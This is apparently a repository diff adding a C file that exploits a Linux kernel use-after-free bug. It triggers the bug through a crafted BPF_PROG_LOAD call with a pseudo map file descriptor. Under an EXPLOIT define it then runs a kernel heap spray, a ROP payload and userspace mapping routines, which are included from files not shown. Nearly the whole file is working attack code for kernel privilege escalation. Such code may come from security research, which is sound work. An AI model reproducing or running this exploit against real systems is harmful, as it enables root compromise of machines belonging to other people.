|
| 1 | +#define EXPLOIT |
| 2 | +#define _GNU_SOURCE |
| 3 | +#include <errno.h> |
| 4 | +#include <err.h> |
| 5 | +#include <unistd.h> |
| 6 | +#include <fcntl.h> |
| 7 | +#include <sched.h> |
| 8 | +#include <signal.h> |
| 9 | +#include <sys/types.h> |
| 10 | +#include <sys/stat.h> |
| 11 | +#include <sys/syscall.h> |
| 12 | +#include <sys/prctl.h> |
| 13 | +#include <linux/bpf.h> |
| 14 | +#include "log4_e7fbf84e10241ada30c98a0ad975e69838a7066a_log0_0.prog.c" |
| 15 | +#ifdef EXPLOIT |
| 16 | + #include "heapspray_addkey.c" |
| 17 | + #include "rop_payload.c" |
| 18 | + #include "userspace_base_mmap.c" |
| 19 | +#endif |
| 20 | + |
| 21 | +#ifndef __NR_bpf |
| 22 | +# if defined(__i386__) |
| 23 | +# define __NR_bpf 357 |
| 24 | +# elif defined(__x86_64__) |
| 25 | +# define __NR_bpf 321 |
| 26 | +# elif defined(__aarch64__) |
| 27 | +# define __NR_bpf 280 |
| 28 | +# else |
| 29 | +# error |
| 30 | +# endif |
| 31 | +#endif |
| 32 | + |
| 33 | +int do_nothing(void *p) { |
| 34 | + prctl(PR_SET_PDEATHSIG, SIGKILL); |
| 35 | + while (1){ |
| 36 | + sleep(1); |
| 37 | + } |
| 38 | +} |
| 39 | + |
| 40 | +int main(void) { |
| 41 | + char buf[4096]; |
| 42 | + |
| 43 | + char child_stack[8000]; |
| 44 | + int child = clone(do_nothing, child_stack + sizeof(child_stack), CLONE_FILES, NULL); |
| 45 | + if (child == -1) |
| 46 | + err(1, "clone"); |
| 47 | + |
| 48 | + int uaf_fd = open("/proc/self/maps", O_RDONLY); |
| 49 | + if (uaf_fd == -1) |
| 50 | + err(1, "unable to open UAF fd"); |
| 51 | + |
| 52 | + struct bpf_insn insns[2] = { |
| 53 | + { |
| 54 | + .code = BPF_LD | BPF_IMM | BPF_DW, |
| 55 | + .src_reg = BPF_PSEUDO_MAP_FD, |
| 56 | + .imm = uaf_fd |
| 57 | + }, |
| 58 | + { |
| 59 | + } |
| 60 | + }; |
| 61 | + union bpf_attr attr = { |
| 62 | + .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, |
| 63 | + .insn_cnt = 2, |
| 64 | + .insns = (__aligned_u64) insns, |
| 65 | + .license = (__aligned_u64)"" |
| 66 | + }; |
| 67 | + if (syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)) != -1){ |
| 68 | + errx(1, "expected BPF_PROG_LOAD to fail, but it didn't"); |
| 69 | + } |
| 70 | + if (errno != EINVAL){ |
| 71 | + err(1, "expected BPF_PROG_LOAD to fail with -EINVAL, got different error"); |
| 72 | + } |
| 73 | + |
| 74 | + //lseek(uaf_fd, 0, SEEK_SET); |
| 75 | + sleep(1); |
| 76 | + |
| 77 | +#ifdef EXPLOIT |
| 78 | + save_state(); |
| 79 | + spray_buffer_init(); |
| 80 | + init_userspace_base(); |
| 81 | + prepare_krop(); |
| 82 | + kmalloc(1024*2); |
| 83 | + //usleep(200000); |
| 84 | + //do_spray=0; |
| 85 | +#endif |
| 86 | + |
| 87 | + loop(uaf_fd); |
| 88 | + |
| 89 | + /* |
| 90 | + while (1) { |
| 91 | + sleep(1); |
| 92 | + // at this point, the struct file of uaf_fd should be freed |
| 93 | + ssize_t res = read(uaf_fd, buf, 4096); |
| 94 | + if (res == -1){ |
| 95 | + err(1, "unable to read from uaf_fd post-UAF"); |
| 96 | + } |
| 97 | + if (res == 0){ |
| 98 | + errx(1, "unable to read from uaf_fd post-UAF (EOF)"); |
| 99 | + } |
| 100 | + write(1, buf, res); |
| 101 | + lseek(uaf_fd, 0, SEEK_SET); |
| 102 | + } |
| 103 | + */ |
| 104 | + pause(); |
| 105 | +} |
0 commit comments